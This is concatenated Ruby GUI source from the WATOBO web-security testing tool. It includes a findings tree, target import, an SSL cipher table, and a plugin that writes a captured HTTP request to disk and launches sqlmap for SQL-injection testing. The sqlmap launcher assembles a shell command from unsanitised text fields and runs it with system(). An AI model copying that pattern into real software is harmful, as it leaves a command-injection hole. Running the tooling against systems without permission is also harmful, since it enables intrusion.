self.expandTree(cat_item) class_item = self.findItem(fclass, cat_item, SEARCH_FORWARD|SEARCH_IGNORECASE) end unless class_item.nil? puts "Expanding #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" self.expandTree(class_item) else puts "Could not find tree item for #{class_item} (#{class_item.object_id})-> #{cat_item} -> #{site_item}" end } FXMenuSeparator.new(sub) FXMenuCommand.new(sub, "Purge - NO UNDO!").connect(SEL_COMMAND) { notify(:purge_findings, findings) reload } end FXMenuCascade.new(menu_pane, "All \"#{item}\"", nil, fp_submenu) FXMenuSeparator.new(menu_pane) info = FXMenuCommand.new(menu_pane, "Details...") info.connect(SEL_COMMAND) { #@interface.showFindingDetails(item.data)} notify(:show_finding_details, findings.first) } elsif data == :finding_class #puts "FINDING_CLASS" # COPY SUBMENU findings = [] item.each do |c| c.each do |ft| f = self.getItemData(ft) findings << f if f.is_a? Watobo::Finding end end fp_submenu = FXMenuPane.new(self) do |sub| target = FXMenuCommand.new(sub, "Copy URLs") target.connect(SEL_COMMAND) { urls = [] findings.each do |f| proto = f.request.proto site = f.request.site path = f.request.path urls << "#{proto}://#{site}/#{path}" end types = [FXWindow.stringType] if acquireClipboard(types) @clipboard = urls.uniq.join("\n") end } target = FXMenuCommand.new(sub, "Set False Positive") target.connect(SEL_COMMAND) { fcat = item.parent.text fsite = item.parent.parent.text notify(:set_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD|SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) end } target = FXMenuCommand.new(sub, "Unset False Positive") target.connect(SEL_COMMAND) { fcat = item.parent.text fsite = item.parent.parent.text notify(:unset_false_positive, findings) reload site_item = cat_item = class_item = nil site_item = self.findItem(fsite, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) unless site_item.nil? self.expandTree(site_item) cat_item = self.findItem(fcat, site_item, SEARCH_FORWARD|SEARCH_IGNORECASE) end unless cat_item.nil? self.expandTree(cat_item) end } FXMenuSeparator.new(sub) FXMenuCommand.new(sub, "Purge - NO UNDO!").connect(SEL_COMMAND) { puts "* purge findings #{findings.length}" notify(:purge_findings, findings) reload } end FXMenuCascade.new(menu_pane, "All \"#{item}\"", nil, fp_submenu) FXMenuSeparator.new(menu_pane) info = FXMenuCommand.new(menu_pane, "Details...") info.connect(SEL_COMMAND) { #@interface.showFindingDetails(item.data)} notify(:show_finding_details, findings.first) } elsif data.is_a? Watobo::Finding then FXMenuCommand.new(menu_pane, "Copy URL").connect(SEL_COMMAND) { types = [FXWindow.stringType] if acquireClipboard(types) @clipboard = item.data.request.url.to_s end } # FXMenuSeparator.new(menu_pane) doManual = FXMenuCommand.new(menu_pane, "Manual Request..") doManual.connect(SEL_COMMAND) { # @interface.open_manual_request_editor(item.data) notify(:open_manual_request, item.data) } info = FXMenuCommand.new(menu_pane, "Details...") info.connect(SEL_COMMAND) { #@interface.showFindingDetails(item.data)} notify(:show_finding_details, item.data) } end end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end private def expand_findings() self.each do |site| expandTree site %w(Vulnerabilities Hints Info).each do |item| f = self.findItem(item, site, SEARCH_FORWARD|SEARCH_IGNORECASE) expandTree(f) unless site.nil? end end end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end class ResultFrame < FXVerticalFrame def show_results(results) end def update end def initialize(parent, opts) super(parent, opts) @settings = Watobo::Plugin::Sniper::Settings result_gb = FXGroupBox.new(self, "Results", FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) @result_tree = ResultTree.new(result_gb) #, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FIX_WIDTH, :width => 450) # namespace end end end end end end end watobo-1.0.1/plugins/sniper/gui/select_checks.rb000066400000000000000000000000001366346341400216750ustar00rootroot00000000000000watobo-1.0.1/plugins/sniper/gui/targets.rb000066400000000000000000000047011366346341400205630ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sniper class Gui class TargetsFrame < FXVerticalFrame def targets @targets_list.to_s.split("\n").map{|t| t.strip } end def initialize(parent, opts) super(parent, opts) @settings = Watobo::Plugin::Sniper::Settings targets_gb = FXGroupBox.new(self, "Target URLs", FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) frame = FXHorizontalFrame.new(targets_gb, :opts => LAYOUT_FILL_X) @import_btn = FXButton.new(frame, "Import") FXLabel.new(frame, 'or enter manually one each line') @import_btn.connect(SEL_COMMAND){ import_targets } targets_frame = FXVerticalFrame.new(targets_gb, :opts => FRAME_NONE|LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @targets_list = FXText.new(targets_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) end private def is_url?(url_str) begin return false unless url_str.strip =~ /^https?:\/\// url = URI.parse(url_str.strip) # puts url.host.class return true unless url.host.nil? return false rescue => bang puts bang if $DEBUG return false end end def import_targets() filename = FXFileDialog.getOpenFilename(self, "Select Targets", @settings.last_path ) if filename != "" then @settings.last_path = File.dirname(filename) + '/' @settings.save valid = 0 offline = 0 File.readlines(filename).each do |l| l.strip! next if l.empty? if is_url?(l) request = Request.new(l) if Watobo::HTTPSocket.siteAlive?(request) @targets_list.appendText("#{l}\n") valid += 1 else offline += 1 end end end FXMessageBox.information(self,MBOX_OK,"Import Target URLs", "Found #{valid} valid URLs.\n#{offline} were offline.") end end end end end end end watobo-1.0.1/plugins/sniper/lib/000077500000000000000000000000001366346341400165455ustar00rootroot00000000000000watobo-1.0.1/plugins/sniper/lib/agent.rb000066400000000000000000000012741366346341400201740ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Plugin class Sniper class Agent < Watobo::Session def initialize() super(@request.object_id, Watobo::Conf::Scanner.to_h ) end # do_request # input: # - request # - prefs # returns: chat def do_request(request, prefs={}) begin test_req, test_resp = self.doRequest(request, prefs) return Watobo::Chat.new(test_req, test_resp) rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end end end end endwatobo-1.0.1/plugins/sniper/lib/stats.rb000066400000000000000000000000001366346341400202160ustar00rootroot00000000000000watobo-1.0.1/plugins/sniper/sniper.rb000066400000000000000000000004411366346341400176230ustar00rootroot00000000000000# @private module Watobo#:nodoc: all::Plugin module Plugin class Sniper < Watobo::PluginBase plugin_name "Sniper" description "Run specific tests on a list of targets. Good for bughunting." load_libs load_gui :main, :targets, :result_tree end end end watobo-1.0.1/plugins/sqlmap/000077500000000000000000000000001366346341400157745ustar00rootroot00000000000000watobo-1.0.1/plugins/sqlmap/bin/000077500000000000000000000000001366346341400165445ustar00rootroot00000000000000watobo-1.0.1/plugins/sqlmap/bin/test.rb000066400000000000000000000045361366346341400200600ustar00rootroot00000000000000 inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..","..", "lib")) $: << inc_path require 'watobo' require 'fox16' include Fox # @private module Watobo#:nodoc: all module Gui @application = FXApp.new('SQLmap', 'Plugin Test') %w( load_icons gui_utils load_plugins session_history save_default_settings master_password session_history save_project_settings save_proxy_settings ).each do |l| f = File.join("watobo","gui","utils", l) puts "SQLMap >> Loading #{f}" require f end require 'watobo/gui/utils/init_icons' gui_path = File.expand_path(File.join(File.dirname(__FILE__),"..", "..", "..", "lib","watobo", "gui")) Dir.glob("#{gui_path}/*.rb").each do |cf| next if File.basename(cf) == 'main_window.rb' # skip main_window here, because it must be loaded last f = File.join("watobo","gui", File.basename(cf)) puts "Loading >> #{f}" require f end puts "Loading plugin templates ..." require 'watobo/gui/templates/plugin' require 'watobo/gui/templates/plugin2' require File.join(File.expand_path(File.dirname(__FILE__)), "..","sqlmap") gui_path = File.join(File.expand_path(File.dirname(__FILE__)),"..", "gui") puts "=" %w( main options_frame).each do |l| puts "Loading >> #{l}" require File.join(gui_path, l + ".rb") end class TestGui < FXMainWindow def initialize(app) # Call base class initializer first super(app, "Test Application", :width => 800, :height => 600) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) button = FXButton.new(frame, "Open Plugin",:opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT,:padLeft => 10, :padRight => 10, :padTop => 5, :padBottom => 5) button.connect(SEL_COMMAND) { dlg = Watobo::Plugin::Sqlmap::Gui.new(self) if dlg.execute != 0 puts dlg.to_h.to_yaml end } end # Create and show the main window def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear dlg = Watobo::Plugin::Sqlmap::Gui.new(self) #dlg.set_tab_index 2 #prefs = { :form_auth_url => "http://www.google.com" } #dlg.settings.auth.set prefs if dlg.execute != 0 puts dlg.details.to_yaml end end end # application = FXApp.new('LayoutTester', 'FoxTest') TestGui.new(@application) @application.create @application.run end end watobo-1.0.1/plugins/sqlmap/gui.rb000066400000000000000000000001541366346341400171050ustar00rootroot00000000000000require_relative 'sqlmap' %w( main options_frame ).each do |l| require_relative File.join('gui', l ) end watobo-1.0.1/plugins/sqlmap/gui/000077500000000000000000000000001366346341400165605ustar00rootroot00000000000000watobo-1.0.1/plugins/sqlmap/gui/main.rb000066400000000000000000000176161366346341400200440ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class Sqlmap class SettingsTabBook < FXTabBook attr :general def initialize(owner) #@tab = FXTabBook.new(self, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) super(owner, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) FXTabItem.new(self, "General", nil) @general = OptionsFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) # FXTabItem.new(self, "Advanced", nil) # frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) # FXTabItem.new(self, "Log", nil) # frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_THICK|FRAME_RAISED) # @log_viewer = Watobo::Gui::LogViewer.new(frame, :append, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) end end class Gui < Watobo::Plugin2 icon_file "sqlmap.ico" include Watobo::Constants include Responder # include Watobo::Plugin::Crawler::Constants def updateView end def xterm_path bin = '/usr/bin/xterm' File.exist?(bin) ? bin : '' end def initialize(owner, project=nil, chat=nil) super(owner, "SQLMap", project, :opts => DECOR_ALL, :width => 800, :height => 600) @plugin_name = "SQLMap" FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) matrix = FXMatrix.new(main, 3, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X) FXLabel.new(matrix, "sqlmap path:") # frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "http://") @binary_path_txt = FXTextField.new(matrix, 60, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|LAYOUT_FILL_X) bin_path = Watobo::Plugin::Sqlmap.binary_path bin_path ="not defined" if bin_path.empty? @binary_path_txt.text = bin_path @change_btn = FXButton.new(matrix, "...", :opts => BUTTON_DEFAULT|BUTTON_NORMAL) @change_btn.enable @change_btn.connect(SEL_COMMAND) { open_path = nil unless @binary_path_txt.text.strip.empty? dir_name = File.dirname(@binary_path_txt.text) unless dir_name.empty? open_path = dir_name unless File.exist? dir_name end end bin_path_old = @binary_path_txt.text bin_path = FXFileDialog.getOpenFilename(self, "Select SQLmap Path", open_path) unless bin_path.empty? @binary_path_txt.text = bin_path else @binary_path_txt.text = bin_path_old end if File.exist? @binary_path_txt.text Watobo::Plugin::Sqlmap.set_binary_path bin_path @accept_btn.enable else Watobo::Plugin::Sqlmap.set_binary_path '' @accept_btn.disable end } FXLabel.new(matrix, "temp directory:") # frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "http://") @output_path_txt = FXTextField.new(matrix, 60, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|LAYOUT_FILL_X) @output_path_txt.text = Watobo::Plugin::Sqlmap.tmp_dir @output_path_btn = FXButton.new(matrix, "...", :opts => BUTTON_DEFAULT|BUTTON_NORMAL) @output_path_btn.enable @output_path_btn.connect(SEL_COMMAND) { output_path = FXFileDialog.getOpenDirectory(self, "Select Temp Directory", Watobo::Plugin::Sqlmap.tmp_dir) #puts ">> #{output_path}" unless output_path.empty? @output_path_txt.text = output_path Watobo::Plugin::Sqlmap.set_tmp_dir output_path end } @settings_tab = SettingsTabBook.new(main) unless chat.nil? @settings_tab.general.request = chat.request end # @log_viewer = @settings_tabbook.log_viewer buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) @accept_btn = FXButton.new(buttons, "&Start", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) @accept_btn.disable @accept_btn.enable unless Watobo::Plugin::Sqlmap.binary_path.empty? # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # Configuration Categories # = # Request # Optimization # Detection # Techniques # Fingerprint # Enumeration @accept_btn.disable if @settings_tab.general.request.empty? @settings_tab.general.subscribe(:request_changed) { if @settings_tab.general.request.empty? @accept_btn.disable else @accept_btn.enable end } end private def create_request_file fname = "sqlmap_" + Time.now.to_i.to_s + ".req" begin file = File.join(@output_path_txt.text, fname) File.open(file, "w") { |fh| fh.puts @settings_tab.general.request } return file rescue => bang puts bang puts bang.backtrace return nil end end def sqlmap_command(file) sqlmap = [] sqlmap << @binary_path_txt.text sqlmap << "-r #{file}" sqlmap << "--level #{@settings_tab.general.level}" sqlmap << "--risk #{@settings_tab.general.risk}" sqlmap << "--technique #{@settings_tab.general.technique}" sqlmap << @settings_tab.general.manual_options sqlmap_cmd = sqlmap.join(" ") end def linux_command(file) # /usr/bin/xterm -hold -e "script -c \"ls -alh\" test234.out" term_bin = xterm_path return '' if term_bin.empty? command = "cd #{@output_path_txt.text} && #{term_bin} " command << '-hold ' unless term_bin.match(/xterm/).nil? command << '-e "' script_cmd = "#{sqlmap_command(file)}" command << script_cmd command << '"' command end def win_command(file) # start "sqlmap" /WAIT /D c:\tools dir command = '' start_path = "#{@output_path_txt.text}" start_path.gsub!(/\//, '\\') script_cmd = "start \"SQLmap\" /D #{start_path} /WAIT cmd.exe /k \"#{sqlmap_command(file)}\"" command << script_cmd command << '"' command end def run_sqlmap(file) command = case RUBY_PLATFORM when /linux|bsd|solaris|hpux|darwin/ linux_command file when /mswin|mingw|bccwin/ win_command file end unless command.strip.empty? Thread.new(command) { |cmd| system(cmd) } else FXMessageBox.information(self,MBOX_OK,"Xterm is not installed", "Xterm is required to run external commands. Please install 'xterm', e.g. 'apt-get install xterm'") end end def onAccept(sender, sel, event) if @settings_tab.general.request.empty? puts "No Request Defined!" end rf = create_request_file puts "Start SQLMap with file #{rf}" run_sqlmap(rf) #getApp().stopModal(self, 1) #self.hide() #return 1 end end end end end watobo-1.0.1/plugins/sqlmap/gui/options_frame.rb000066400000000000000000000067731366346341400217670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Plugin class Sqlmap class OptionsFrame < FXVerticalFrame def to_h end def set(settings) end def request=(req) @request_txt.text = req.join.gsub("\r",'') end def request @request_txt.to_s end def level @level_combo.getItemData(@level_combo.currentItem) end def risk @risk_combo.getItemData(@risk_combo.currentItem) end def technique return "BEUST" if @technique_combo.currentItem == 0 @technique_combo.getItemData(@technique_combo.currentItem) end def manual_options "#{@manual_options_txt.text.strip}" end def initialize(owner, opts) super(owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) self.extend Watobo::Subscriber groupbox = FXGroupBox.new(self, "Request", FRAME_GROOVE|LAYOUT_FILL_Y|LAYOUT_FILL_X, 0, 0, 0, 0) FXLabel.new(groupbox, "Enter a test request below or use 'SEND TO -> SQLMap' from the conversation-table menu (right-click).") frame = FXVerticalFrame.new(groupbox, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @request_txt = FXText.new(frame, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @request_txt.editable = true @request_txt.connect(SEL_CHANGED){ notify(:request_changed) } matrix = FXMatrix.new(self, 6, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X) techniques = %w( All Time-based Error Boolean Union Stacked ) FXLabel.new(matrix, "Technique:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @technique_combo = FXComboBox.new(matrix, 20, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) techniques.each do |t| @technique_combo.appendItem(t, t[0]) @technique_combo.numVisible = @technique_combo.numItems end #dbs = %w( MySQL Oracle PostgreSQL ) #FXLabel.new(matrix, "DB:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) #@db_combo = FXComboBox.new(matrix, 20, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) #dbs.each do |t| # @db_combo.appendItem(t, t[0]) # @db_combo.numVisible = @db_combo.numItems #end risks = %w( 1 2 3 ) FXLabel.new(matrix, "Risk:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @risk_combo = FXComboBox.new(matrix, 20, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) risks.each do |r| @risk_combo.appendItem(r, r) @risk_combo.numVisible = @risk_combo.numItems end levels = (1..5) FXLabel.new(matrix, "Level:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @level_combo = FXComboBox.new(matrix, 20, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) levels.each do |l| @level_combo.appendItem(l.to_s, l.to_s) @level_combo.numVisible = @level_combo.numItems end frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_TOP) FXLabel.new(frame, "Manual Options:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @manual_options_txt = FXTextField.new(frame, 60, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|LAYOUT_FILL_X) end private end end end endwatobo-1.0.1/plugins/sqlmap/icons/000077500000000000000000000000001366346341400171075ustar00rootroot00000000000000watobo-1.0.1/plugins/sqlmap/icons/sqlmap.ico000066400000000000000000000042761366346341400211110ustar00rootroot00000000000000 ( @ ##$$%%))++,,--0044@@AABBCCGGHHKKMMOOPPSSWWXXZZ]]``eeffiilloopprrssttuuwwxxzz{{'ii'FEk$"k{z=OM=JveI||rT!~C,~P10P_|NxdM"[Z" D.f&fSyfR7p7G0yyZ{hLL}g<QwtN>s%Ag|sX)6^t?n- B3\9;]b m=EE:#Kjca4a/zzGh2yxuM*a`o Y9DD85H +lW99V'Uq|e@(:ayya:watobo-1.0.1/plugins/sqlmap/lib/000077500000000000000000000000001366346341400165425ustar00rootroot00000000000000watobo-1.0.1/plugins/sqlmap/lib/sqlmap_ctrl.rb000066400000000000000000000055621366346341400214200ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Plugin class Sqlmap @well_known_paths = [ "/pentest/database/sqlmap/", # BackTrack "/usr/share/sqlmap/" # Kali Linux, Samurai WTF ] @binary_path = '' @command = "" @tmp_dir = nil def self.search_binary bin_path = '' [ "sqlmap.py", "sqlmap" # on some distributions no .py extension, e.g. kali linux ].each do |binary_name| @well_known_paths.each do |p| bp = File.join(p, binary_name) if File.exist? bp bin_path = bp break end end end bin_path end # set sqlmap binary path, leave it empty to check well-know-locations # it returns the path if any or an empty string def self.set_binary_path(path=nil) @binary_path = path.nil? ? search_binary : path save_config @binary_path end def self.method_missing(name, *args, &block) iv_name = "@#{name}" super unless instance_variable_defined? iv_name v = instance_variable_get(iv_name) end def self.set_tmp_dir(dir=nil) # get project path if dir.nil? @tmp_dir = File.join(Watobo.temp_directory,"sqlmap") Dir.mkdir @tmp_dir unless File.exist? @tmp_dir else @tmp_dir = dir if File.exist? dir end save_config @tmp_dir end def self.run(request, opts) end def self.save_config() wd = Watobo.working_directory dir_name = Watobo::Utils.snakecase self.name.gsub(/.*::/,'') path = File.join(wd, "conf", "plugins") Dir.mkdir path unless File.exist? path conf_dir = File.join(path, dir_name) Dir.mkdir conf_dir unless File.exist? conf_dir file = File.join(conf_dir, dir_name + "_config.yml") config = { :tmp_dir => @tmp_dir, :binary_path => @binary_path } Watobo::Utils.save_settings(file, config) end def self.load_config() wd = Watobo.working_directory dir_name = Watobo::Utils.snakecase self.name.gsub(/.*::/,'') path = File.join(wd, "conf", "plugins") Dir.mkdir path unless File.exist? path conf_dir = File.join(path, dir_name) Dir.mkdir conf_dir unless File.exist? conf_dir file = File.join(conf_dir, dir_name + "_config.yml") config = Watobo::Utils.load_settings(file) end # set default values config = load_config if config.is_a? Hash set_binary_path config[:binary_path] set_tmp_dir config[:tmp_dir] else set_binary_path set_tmp_dir end end end end watobo-1.0.1/plugins/sqlmap/sqlmap.rb000066400000000000000000000001111366346341400176070ustar00rootroot00000000000000%w( sqlmap_ctrl ).each do |l| require_relative File.join("lib", l ) endwatobo-1.0.1/plugins/sslchecker/000077500000000000000000000000001366346341400166255ustar00rootroot00000000000000watobo-1.0.1/plugins/sslchecker/cli/000077500000000000000000000000001366346341400173745ustar00rootroot00000000000000watobo-1.0.1/plugins/sslchecker/cli/sslchecker_cli.rb000066400000000000000000000000001366346341400226640ustar00rootroot00000000000000watobo-1.0.1/plugins/sslchecker/gui/000077500000000000000000000000001366346341400174115ustar00rootroot00000000000000watobo-1.0.1/plugins/sslchecker/gui/cipher_table.rb000066400000000000000000000176421366346341400223710ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Plugin module Sslchecker module Gui class CipherTableController < FXHorizontalFrame def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def initialize(owner, opts) super(owner,opts) @event_dispatcher_listeners = Hash.new @good_cb = FXCheckButton.new(self, "good", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @good_cb.connect(SEL_COMMAND) { update_table } @good_cb.checkState = true @bad_cb = FXCheckButton.new(self, "bad", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @bad_cb.connect(SEL_COMMAND) { update_table } @bad_cb.checkState = true @na_cb = FXCheckButton.new(self, "n/a", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) @na_cb.connect(SEL_COMMAND) { update_table } @na_cb.checkState = true FXButton.new(self, 'save').connect(SEL_COMMAND) { notify(:save_table) } # FXButton.new(self, "clear").connect(SEL_COMMAND) { notify(:clear_ciphers) } end def update_table show_prefs = CipherTable::CTF_NONE show_prefs = show_prefs | CipherTable::CTF_BAD if @bad_cb.checked? show_prefs = show_prefs | CipherTable::CTF_GOOD if @good_cb.checked? show_prefs = show_prefs | CipherTable::CTF_NA if @na_cb.checked? notify(:apply_filter, show_prefs) end end class CipherTable < FXTable CTF_NONE = 0x00 CTF_GOOD = 0x01 CTF_BAD = 0x02 CTF_NA = 0x04 CTF_ALL = 0x07 attr :ciphers attr_accessor :min_bit_length attr_accessor :filter # this returns a comma seperated list of the table [string] def to_csv csv = [] self.each_row do |c,b,r,s| l = [ c.text.strip ] l << b.text.strip l << r.text.strip l << s.text.strip csv << l.join(';') end return csv.join( "\n") end def setNewFont(font_type=nil, size=nil) begin new_size = size.nil? ? GUI_REGULAR_FONT_SIZE : size new_font_type = font_type.nil? ? "helvetica" : font_type new_font = FXFont.new(getApp(), new_font_type, new_size) new_font.create self.font = new_font self.rowHeader.font = new_font self.defRowHeight = new_size+10 updateTable() rescue => bang puts bang puts bang.backtrace if $DEBUG end end def add_cipher( cipher ) [ :method, :algo, :bits, :support ].each do |k| return false unless cipher.has_key? k end @ciphers.push cipher add_cipher_row(cipher) true end def show_all @filter = CTF_ALL end def update_table # puts "update table: #{filter}" self.clearItems initColumns @ciphers.each do |c| add_cipher_row c end end def clear_ciphers self.clearItems initColumns @ciphers.clear end def initialize(owner, opts) super(owner, :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) @ciphers = [] @min_bit_length = 128 @columns = Hash.new @columns[:method] = { :label => "Method", :pos => 0, :width => 50 } @columns[:algo] = { :label => "Cipher", :pos => 1, :width => 250 } @columns[:bits] = { :label => "Bits", :pos => 2, :width => 100 } @columns[:support] = { :label => "Result", :pos => 3, :width => 50 } @filter = CTF_ALL init_icons initColumns() adjustCellWidth end private def init_icons begin path = File.expand_path(File.join(File.dirname(__FILE__), "..", "icons" )) file = "green_16x16.ico" icon_file = File.join(path, file) # puts icon_file @icon_ok = Watobo::Gui.load_icon(icon_file) file = "red_16x16.ico" icon_file = File.join(path, file) @icon_bad = Watobo::Gui.load_icon(icon_file) file = "grey_16x16.ico" icon_file = File.join(path, file) @icon_na = Watobo::Gui.load_icon(icon_file) rescue => bang puts bang puts bang.backtrace end end def initColumns() self.setTableSize(0, @columns.length) self.visibleRows = 20 self.visibleColumns = @columns.length @columns.each do |key, opts| self.setColumnText( opts[:pos], opts[:label] ) #self.setColumnIcon(@col_order.index(TABLE_COL_SSL), TBL_ICON_LOCK)# puts self.getItem(@col_order.index(col), 0 ).class.to_s end adjustCellWidth end def adjustCellWidth() begin self.rowHeader.width = 0 @columns.each_value do |opts| self.setColumnWidth( opts[:pos], opts[:width] ) end rescue => bang puts bang puts bang.backtrace puts "!!!ERROR: adjustCellWidth" end end def add_cipher_row(cipher) add_cipher = ( @filter == CTF_ALL ) ? true : false if cipher[:support] == false # @result_viewer.appendStyledText("checked: #{cipher} - #{bits} - #{result}\n",0) text = "N/A" icon = @icon_na add_cipher = true if ( @filter & CTF_NA > 0 ) elsif cipher[:bits].to_i < @min_bit_length # @result_viewer.appendStyledText("checked: #{cipher} - #{bits} - #{result}\n",2) text = "BAD" icon = @icon_bad add_cipher = true if ( @filter & CTF_BAD > 0 ) else text = "OK" icon = @icon_ok add_cipher = true if ( @filter & CTF_GOOD > 0 ) # @result_viewer.appendStyledText("checked: #{cipher} - #{bits} - #{result}\n",1) end if add_cipher lastRowIndex = self.getNumRows self.appendRows(1) index = @columns[:method][:pos] self.setItemText(lastRowIndex, index, cipher[:method].to_s) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT index = @columns[:algo][:pos] self.setItemText(lastRowIndex, index, cipher[:algo]) self.getItem(lastRowIndex, index).justify = FXTableItem::LEFT index = @columns[:bits][:pos] self.setItemText(lastRowIndex, index, cipher[:bits].to_s) self.getItem(lastRowIndex,index).justify = FXTableItem::LEFT index = @columns[:support][:pos] self.setItemIcon(lastRowIndex, index, icon) self.setItemIconPosition(lastRowIndex, index, FXTableItem::BEFORE) self.setItemText(lastRowIndex, index, text) self.getItem(lastRowIndex,index).justify = FXTableItem::LEFT end end end end end end end watobo-1.0.1/plugins/sslchecker/gui/gui.rb000066400000000000000000000224561366346341400205330ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Plugin module Sslchecker module Gui class Main < Watobo::Plugin2 include Watobo::Constants icon_file "sslchecker.ico" def createChat(site) chat = nil unless site =~ /^http/ url = "https://#{site}/" else url = site end request = [] request << "GET #{url} HTTP/1.1\r\n" request << "Host: #{site}\r\n" request << "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n" request << "Accept-Language: de\r\n" request << "Proxy-Connection: close\r\n" request << "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n" request << "\r\n" chat = Watobo::Chat.new(request, [], :id => 0) return chat end def onSiteSelect(sender, sel, item) if sender.numItems > 0 @site = sender.getItemData(sender.currentItem) else unless sender.text.empty? @site = sender.text.gsub(/^https?:\/\//,"").strip end end end def updateView() #@project = project @site = nil @sites_combo.clearItems() #@dir_combo.clearItems() unless Watobo.project.nil? then count = 0 Watobo::Chats.sites(:ssl => true, :in_scope => Watobo::Scope.exist? ).each do |site| #puts "Site: #{site}" count += 1 @sites_combo.appendItem(site, site) end if @sites_combo.numItems > 0 @sites_combo.setCurrentItem(0) @site = @sites_combo.getItemData(0) @sites_combo.numVisible = ( @sites_combo.numItems > 15 ) ? 15 : @sites_combo.numItems # else # @log_viewer.log(LOG_INFO,"No SSL Sites available - you need to visit a SSL Site first!") elsif Watobo::Scope.exist? @sites_combo.appendItem("no site for defined scope", nil) end end end def create super updateView() end def start(sender, sel, item) unless @site.nil? unless Watobo::ForwardingProxy.get(@site).nil? @log_viewer.log(LOG_INFO,"!!! WARNING FORWARDING 